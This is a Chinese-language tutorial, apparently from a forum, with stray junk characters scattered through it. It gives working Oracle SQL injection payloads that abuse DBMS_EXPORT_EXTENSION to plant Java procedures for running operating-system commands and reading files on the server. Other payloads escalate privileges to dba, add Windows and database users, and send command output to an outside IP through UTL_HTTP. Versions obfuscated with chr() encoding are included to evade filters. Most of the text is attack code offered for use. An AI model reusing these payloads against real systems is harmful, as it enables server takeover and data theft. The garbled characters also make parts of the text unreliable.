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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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( B$ D$ U% Y( x以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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4 N5 ~- X& W' x4 p& t) u( U/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。- S- _* {8 v, G
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以下是各个步骤:
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" J9 N1 j6 p/ P! l3 {( t9 p: r n1.创建包2 v2 M: K4 B+ }* B% @7 }! e
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:. D5 }5 i' I& r/ G! V0 t
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/xxx.jsp?id=1 and '1'<>'a'||($ d8 C2 ^+ p9 H, [% A% t) Y# F( ^
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 E1 P% S* N- k! k a5 c# d$ n0 ~' J' ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
8 K2 K7 [) `+ V5 M6 U ~: C [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}) H8 }0 Y3 K C% j' k
}'''';END;'';END;--','SYS',0,'1',0) from dual' P5 \6 d: r. T2 d [
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------------------------
4 A+ R9 N) e+ R9 V" j3 Y" q5 v" T如果url有长度限制,可以把readFile()函数块去掉,即:
( L) B' c9 C4 e" b0 N/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 H+ y7 H c, s4 |) d8 bcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ Q! _3 k. z4 C" Anew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
/ r" P. y- a* ~- I0 x/ x9 n}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。 R* o9 m2 B2 ^% U8 K) g: g
------------------------------
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2.赋Java权限, ] y; k$ v2 l
, ^* }& H4 O8 i: [# V3 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数
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+ P& \% U( v7 U" V' K, V3 Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 H4 z" B" C- Y3 U; lcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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& t8 K: ?- y2 F: q, e" k# [+ jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 F- E- i( {+ a6 w) N3 hcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual8 W! ?. Q/ i% s' H, `% B3 H' g
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual* M: I( t$ j- \3 f3 R: y9 N2 Z& p
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5.测试上面的几步是否成功
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and '1'<>'11'||(
- {9 d" N" n ]. \- h1 |select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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% k/ Z- s, _1 G' P& R# E4 ~- Lselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'2 r/ Z Q4 y& d" t$ @
)
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6.执行命令:
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select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/ ]9 e1 O" {3 `0 {6 G1 Zselect sys.LinxReadFile('c:/boot.ini') from dual
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" v. D% ] e6 H注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。7 V- y; ^0 m: E+ b- I
如果要查看运行结果可以用 union :
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7 r7 h3 m7 C* K s/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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' F5 ^( X' i- `, ~6 S或者UTL_HTTP.request(:
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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0 P0 x' N, S4 M注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。6 z T9 V* J: [; F) j) r" `' h6 P
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--------------------
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6.内部变化 z0 U8 p6 M+ s) b
通过以下命令可以查看all_objects表达改变:
9 C. l2 W0 c+ l, Mselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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0 V. s* N; P8 ^7.删除我们创建的函数# _ _* P S1 u. l' G' c9 z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ q9 [' [" q, h* y2 Z- u3 ^& Rdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual4 G. p' I! P) B1 C
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! l2 U0 L. e9 A$ G/ I7 g% i====================================================0 P$ W% |( ~' |9 g8 o
全文结束。谨以此文赠与我的朋友。
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. M# r! r4 s9 A3 Blinx
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9 A, t! }. A5 H/ T& e( _2008.1.12" ^1 h& g2 L6 U: G+ m. `
linyujian@bjfu.edu.cn* v4 ?: ]6 l: r! k4 R% ~
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======================================================================
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测试漏洞的另一方法:
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创建oracle帐号:) V/ C( U" E& P3 ?8 x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* Z/ G/ b" p! `* J
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 i( ~1 F( V2 ` ?- H* X2 n
9 g! Y! B% |4 i) T- N* U0 y! j7 D即:
9 f2 @# _5 }, S+ h2 Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( q; F( t" i+ f$ v9 z! y
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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" X9 R( f& i% i" u; P确定漏洞存在:
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+ L% O, S% p0 T' }2 Vselect user_id from all_users where username='LINXSQL'
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给linxsql连接权限:: B& @7 u9 x) y! B+ P: d* z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& d& y+ ~3 g9 \GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 | W3 D, F. k1 Q8 S w
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删除帐号:
) O$ L! _0 ?0 _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% b; a, f( }* _; ]; u6 {; t9 l
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual& f' P4 ^" I) k/ X" D. B p
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/ b1 Y# A1 @! s! H5 r6 I$ L1 Z9 w以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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: o6 x6 V! c! ?) p M( r1.jsp?id=1 and '1'<>(6 T+ v: `' M0 ]# k& e1 H. X# h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* t0 i1 r" z: j2 p1 R& Acreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual* ^7 Q; V# g& Z! g3 E7 L
) and ...% F, H3 ?$ X- P- k- f
: L1 {3 h% g7 H$ ]- ?3 Z1.jsp?id=1 and '1'<>(
: v' w' A3 R5 P% cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(, X/ K4 }2 o0 x. [. ?% W
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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1.jsp?id=1 and '1'<>(
' e3 E# E5 @5 W9 i6 oSELECT sys.Linx_Query('declare pragma! Y( G9 Q0 D8 I, H/ z$ }% S. L. k
autonomous_transaction; begin execute immediate ''1 [* g" m* ]. q( D. c
select 1 from dual3 I3 b( E9 [3 R5 T3 {
''; commit; end;') from dual
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多语句:
! \: O1 O3 \# t7 D0 I' \SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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+ Y3 U6 {$ S, p7 Z, P; n7 D创建用户(除非当前用户有system权限,否则无法成功):$ w4 Z: ]( n: E1 N l7 {
SELECT sys.Linx_Query('declare pragma
6 G, }1 ~+ s2 \) P1 V3 @4 W6 [autonomous_transaction; begin execute immediate ''
; t8 V) E2 D" ~' G+ j$ yCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
! k7 H& o x4 M5 e' y" O4 c. o \''; commit; end;') from dual
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================
9 R! f6 ~7 g7 i5 z8 b# [: ~以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()6 i+ F l2 J/ f% k: g8 ]) ?
6 g" V& F5 h W6 o1.创建函数
* D7 R" @% { ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% E1 f2 D$ z4 S {8 y {4 N
create or replace function Linx_Query (p+ V& X8 S" y1 R9 N* L' V
varchar2) return number authid current_user is begin execute immediate
* J1 C, U/ ~3 Y( C4 P' op; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;4 F/ ~1 B! Q* G1 I/ ^6 F1 ~; ?7 S% w
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如果有权限,以下语句应该允许正常. e: f4 d8 l- `) [$ h4 X
select sys.linx_query('select 1 from dual') from dual;
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/ F4 s* h: E B4 y7 ]) w( I不然的话运行:
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; y! q& f& T/ n0 z+ M+ Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 A. p8 y' ^8 {
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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. O# r; q9 r3 L/ }: \2.创建包" J$ L2 r+ @0 B
SELECT sys.Linx_Query('declare pragma
! C% F: E* y5 z3 Qautonomous_transaction; begin execute immediate ''+ m% B) y" } O
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
% t6 f" X1 Q, ]: K; Onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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3.创建函数7 ^, D, K3 m2 Z4 ~; Z9 D$ @: m* ~7 j! r5 A6 W
SELECT sys.Linx_Query('declare pragma4 k) B7 H9 ?* V, K
autonomous_transaction; begin execute immediate ''1 q1 l; P W6 o4 T! \6 Q- d6 E
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual- Y. F1 ^+ l- R9 B, E: b
# N1 O Q/ d3 l4.给权限
# B$ E; h$ `& Z2 M, \给用户SYSTEM执行权限:
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9 h6 w- G% v% t9 e! TSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual( k. y* F# r7 S% S
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5.执行函数- v6 }) O$ _. E, `
select RunCMD2('cmd /c dir') from dual
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9 {8 l% |. z+ @( d- ?, S以下是各个步骤:- J' |) t5 h4 I* b
& C `7 q9 B8 D1.创建包
U- g3 ` K6 E) c) J) B9 w- g通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:" ?# w+ x( L- L; x6 B
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:% P) q, b1 _- s5 _- ]" a
% ~. J2 }/ H# p7 r! J S/xxx.jsp?id=1 and chr(49)<>chr(50)||(
9 ]' ]8 h* Q6 f' F: p0 Z9 f8 v+ Y; K1 X. B6 p6 Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),. B; {% g. x% H
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 m( q8 x, U9 q& F7 o
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: W$ N/ f% v; |# y
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||5 r2 V$ }' [1 C
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||# @ h/ X% s _4 u
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
$ x+ c) h% Z# S7 k* m3 ^2 tchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
; q( y6 k7 w2 W- w4 V- O- ?2 W1 pchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
6 ` i6 d* C/ C2 y* u0 t$ Gchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
: X$ c: o* }! qchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
8 B. C$ o3 t. fchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||0 Z' @8 Q. s3 @( z
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
& G/ D, V( a, v5 k8 }chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||' V& L6 B- g/ B9 X0 o. q
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||) P: U3 q" G6 Y; _. ^# D. d2 b5 c
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
# y" S4 }8 w! T- dchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||( X) W5 G, O' s2 b ~
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
% O" F# y4 Y. m+ b0 n. O* bchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||) F! N+ w7 |; m5 F+ {
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
/ O) Z1 {" P: o3 a8 {; ]( H% k6 Rchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||& q- {3 Y$ }# j5 P @2 ?& r, r- k
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
9 u8 `8 Y$ G& R9 T; o- W. Nchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
: p0 F( d) O# Dchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||0 F: K; e' l) P3 b; \% [
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
6 |# a# t& _$ [chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
6 Y/ s+ C) G& F2 x. V1 qchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||, P5 ?- `7 p0 Y. n$ c# ]
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||) t% |- X$ ]5 s
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
1 C2 ?, G) c/ H5 E, M; echr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
6 ~+ t" L1 R9 D$ F,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual; L$ f& h. s% K: U" K6 n6 C9 y& l
% ?# a# }( O) y, U3 } j$ G5 h! M# j)
$ R Q2 \4 ^$ o: F; H2 V& |; i' r5 b3 ~
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2.赋Java权限
